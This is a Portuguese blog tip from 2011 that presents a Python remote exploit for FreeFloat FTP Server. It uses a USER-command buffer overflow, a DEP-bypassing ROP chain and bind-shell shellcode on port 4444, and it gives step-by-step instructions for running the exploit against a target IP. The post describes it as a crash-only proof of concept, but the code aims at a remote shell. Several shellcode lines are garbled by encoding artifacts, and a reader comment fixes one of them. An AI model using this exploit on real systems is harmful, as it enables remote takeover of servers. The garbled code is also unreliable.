Causando BufferOverflow em servidores rodando o FreeFloat

Publicado por André em 30/09/2011

[ Hits: 5.628 ]

Blog: http://127.0.0.1

 


Causando BufferOverflow em servidores rodando o FreeFloat



Atualmente foi descoberta uma vulnerabilidade crítica nos servidores que rodam o FreeFloat FTP Server. Nesta dica iremos explorar esta vulnerabilidade e, nos adequar a outros serviços.

Autor: André Rosa

Notas:
  • Todas as informações apresentadas nesta dica foram obtidas na Internet, sendo assim, não ofereço nenhum tipo de garantia ou suporte. Não nos responsabilizamos por qualquer dano ocorrido, tanto na máquina (computador) quanto no software. Siga por sua conta e risco.
  • É permitida a cópia do conteúdo aqui publicado, desde que o autor seja informado e os créditos sejam mantidos intactos.

Atenção sysadmins! Os servidores que rodam o FreeFloat FTP Server estão vulneráveis à buffer overflow. O que causará é uma PoC remota, causando um crash no servidor, ou seja, ao executar o exploit o servidor irá parar de responder.

Foi publicado atualmente um exploit escrito em Python para causar o estouro de buffer no servidor anteriormente citado.

Este é o exploit:

#!/usr/bin/python
import socket, sys
from struct import pack

print "\n==============================="
print "Freefloat FTP Server DEP Bypass"
print "       Escrito by Blake  e adaptado por Andrezc      "
print "===============================\n"

if len(sys.argv) != 3:
    print "[*] Uso: %s <host> <porta>\n" % sys.argv[0]
    sys.exit(0)

target = sys.argv[1]
port = int(sys.argv[2])

# 728 bytes for shellcode
#Bind Shell shellcode port 4444
shellcode = ("\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x7 4\x24\xf4"
"\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a \x75\x1c"
"\x89\x93\x86\x7e\x03\x76\xb7\xac\x77\xf2\xea\x60\xf3& #92;x56\x07"
"\x0b\x51\x43\x9c\x79\x7e\x64\x15\x37\x58\x4b\xa6\xf6 \x64\x07"
"\x64\x99\x18\x5a\xb9\x79\x20\x95\xcc\x78\x65\xc8\x3f& #92;x28\x3e"
"\x86\x92\xdc\x4b\xda\x2e\xdd\x9b\x50\x0e\xa5\x9e\xa7 \xfb\x1f"
"\xa0\xf7\x54\x14\xea\xef\xdf\x72\xcb\x0e\x33\x61\x37& #92;x58\x38"
"\x51\xc3\x5b\xe8\xa8\x2c\x6a\xd4\x66\x13\x42\xd9\x77 \x53\x65"
"\x02\x02\xaf\x95\xbf\x14\x74\xe7\x1b\x91\x69\x4f\xef& #92;x01\x4a"
"\x71\x3c\xd7\x19\x7d\x89\x9c\x46\x62\x0c\x71\xfd\x9e& #92;x85\x74"
"\xd2\x16\xdd\x52\xf6\x73\x85\xfb\xaf\xd9\x68\x04\xaf& #92;x86\xd5"
"\xa0\xbb\x25\x01\xd2\xe1\x21\xe6\xe8\x19\xb2\x60\x7b \x69\x80"
"\x2f\xd7\xe5\xa8\xb8\xf1\xf2\xcf\x92\x45\x6c\x2e\x1d& #92;xb5\xa4"
"\xf5\x49\xe5\xde\xdc\xf1\x6e\x1f\xe0\x27\x20\x4f\x4e& #92;x98\x80"
"\x3f\x2e\x48\x68\x2a\xa1\xb7\x88\x55\x6b\xce\x8f\x9b& #92;x4f\x82"
"\x67\xde\x6f\x34\x2b\x57\x89\x5c\xc3\x31\x01\xc9\x21& #92;x66\x9a"
"\x6e\x5a\x4c\xb6\x27\xcc\xd8\xd0\xf0\xf3\xd8\xf6\x52& #92;x58\x70"
"\x91\x20\xb2\x45\x80\x36\x9f\xed\xcb\x0e\x77\x67\xa2 \xdd\xe6"
"\x78\xef\xb6\x8b\xeb\x74\x47\xc2\x17\x23\x10\x83\xe6 \x3a\xf4"
"\x39\x50\x95\xeb\xc0\x04\xde\xa8\x1e\xf5\xe1\x31\xd3 \x41\xc6"
"\x21\x2d\x49\x42\x16\xe1\x1c\x1c\xc0\x47\xf7\xee\xba& #92;x11\xa4"
"\xb8\x2a\xe4\x86\x7a\x2d\xe9\xc2\x0c\xd1\x5b\xbb\x48 \xed\x53"
"\x2b\x5d\x96\x8e\xcb\xa2\x4d\x0b\xfb\xe8\xcc\x3d\x94& #92;xb4\x84"
"\x7c\xf9\x46\x73\x42\x04\xc5\x76\x3a\xf3\xd5\xf2\x3f& #92;xbf\x51"
"\xee\x4d\xd0\x37\x10\xe2\xd1\x1d\x1a")

buffer = "\x41" * 230
eip = pack('<L',0x77f613ac)      # RETN - shlwapi
rop = "\x42" * 8            # compensate
rop += pack('<L',0x77c2362c)     # POP EBX, RETN - msvcirt
rop += "\xff\xff\xff\xff"
rop += pack('<L',0x77c127e1)     # INC EBX, RETN
rop += pack('<L',0x5d093466)     # POP EBP, RETN
rop += pack('<L',0x7c8622a4)     # SetProcessDEPPolicy
rop += pack('<L',0x5d095470)     # POP EDI, RETN
rop += pack('<L',0x5d095471)     # RETN
rop += pack('<L',0x5d0913b4)     # POP ESI, RETN
rop += pack('<L',0x5d095471)            # RETN
rop += pack('<L',0x77e7d102)         # PUSHAD # RETN - RPCRT4

nops = "\x90" * 10
junk = "\x42" * (1000 - len(buffer + eip + rop + nops + shellcode))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Conectando em  %s na porta %d" % (target,port)
try:
    s.connect((target,port))
    s.recv(1024)
    print "[+] Enviando payload..."
    s.send("USER " + buffer + eip + rop + nops + shellcode + junk + "\r\n")
    s.close()
    print "[+] Exploitado com sucesso! :)"
except:
    print "[X] Nao foi possivel conectar em %s" % target

raw_input("[+] Pressione quanquer tecla para sair...\n")

Eu o adaptei para um melhor entendimento. Vamos preparar nosso ambiente. Em um Windows, instale o FreeFloat FTP Server, a partir do endereço:
Adicione as devidas permissões no firewall, caso seja necessário. Após isso, selecione uma porta (escolherei a porta 21, padrão do serviço FTP), e inicie o servidor, clicando em Start.

Ok. Agora, na máquina onde iremos explorar, instale o interpretador Python, e interprete o exploit. Use o comando python nome_do_arquivo.py. Por exemplo:

python freefloat_exploit.py

Você deve receber uma saída como esta:

===============================
Freefloat FTP Server DEP Bypass
       Escrito by Blake  e adaptado por Andrezc      
===============================

[*] Uso: freefloat_exploit.py <host> <porta>


O que isso quer dizer é que devemos passar como parâmetro o endereço IP do servidor e a porta.

Portanto, no meu caso, ficaria:

python freefloat_exploit.py 192.168.1.100 21

Execução: No servidor, com Windows:

Solução

A FreeFloat FTP ainda não desenvolveu uma solução para a falha. Por enquanto, o melhor a fazer é utilizar outro servidor FTP. Lembre-se de sempre verificar em sites que disponibilizam exploits, a procura de exploits que possam comprometer seu servidor. Mantenha os serviços sempre atualizados. Esses passos básicos são essenciais para se ter um servidor seguro.

Conclusão: O conteúdo do artigo fala por si. Exploits estão acessíveis a todos. Portanto, você não deve tomar cuidado só com pessoas que realmente entendem do que fazem. Segurança é fundamental, em quaisquer circunstâncias.

Outras dicas deste autor

Prism - Transforme sites em aplicativo

Derrubando Linux em 10 segundos

Evitando bruteforce de SSH utilizando o Fail2ban

Orientação a objetos com a linguagem Ruby

Centralizar JFrame utilizando o NetBeans

Leitura recomendada

Obter IP da máquina com Terminal Linux

Formatando datas no Java e convertendo para o Firebird

Implementando suporte a tradução com GetText + Google Translate API

VirtualBox: Configurando portas USB e pastas compartilhadas

Repositório local com Yum

  

Comentários
[1] Comentário enviado por removido em 30/09/2011 - 11:38h

Legal andré.

Boa dica !

Só um detalhe:

Nesta linha: shellcode = ("\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x7 4\x24\xf4"

Retire o espaço "\x7 4\", ficando assim "\x74"\.

Se não fizer isso vai dar o seguinte erro:

ValueError: invalid \x escape

Valeu cara.



Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts